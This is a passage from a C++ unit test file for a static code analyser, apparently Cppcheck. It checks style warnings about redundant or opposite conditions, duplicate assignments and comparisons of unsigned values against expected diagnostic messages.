'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n 